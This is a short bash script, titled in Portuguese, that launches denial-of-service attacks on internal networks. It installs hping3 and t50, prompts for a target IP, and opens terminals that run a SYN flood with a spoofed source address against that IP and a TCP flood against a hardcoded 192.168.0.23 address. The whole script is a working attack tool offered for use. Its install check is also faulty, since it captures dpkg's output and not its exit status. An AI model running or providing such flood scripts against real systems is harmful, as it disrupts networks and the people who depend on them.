Denial of Service (redes intenas)

#!/bin/bash

apresentacao()
{
    clear
    echo -e "\033[01;31m ========================= \033[01;00m"
    echo -e "\033[01;33m      Denial of Service    \033[01;00m"
    echo -e "\033[01;31m ========================= \n\033[01;00m"
}

entDados()
{
    echo -n -e "\033[01;35m\n# IP: \033[01;00m"
    read ip
    echo -e "\033[01;36m\n# Comandos em Janelas ativas \n\033[01;00m"
}

verify()
{
    n1=$(dpkg -l hping3 > /dev/null 2>&1)
    n2=$(dpkg -l t50 > /dev/null 2>&1)

    if ((n1 == 0))
    then
        echo -e "\033[01;32m# Hping3 instalada \033[01;00m"
    else
        apt-get install hping3
    fi

    if ((n2 == 0))
    then
        echo -e "\033[01;32m# T50 instalada\033[01;00m"
    else
        apt-get install t50
    fi
}

terminal_1()
{
    gnome-terminal -- bash -c "hping3 -S --flood -a 1.2.3.4 -p 80 -d 1400 $ip"
}

terminal_2()
{
    gnome-terminal -- bash -c "t50 192.168.0.23 --flood --protocol TCP"
}

metodos()
{
    apresentacao
    verify
    entDados
    terminal_1
    terminal_2
}

# Programa
metodos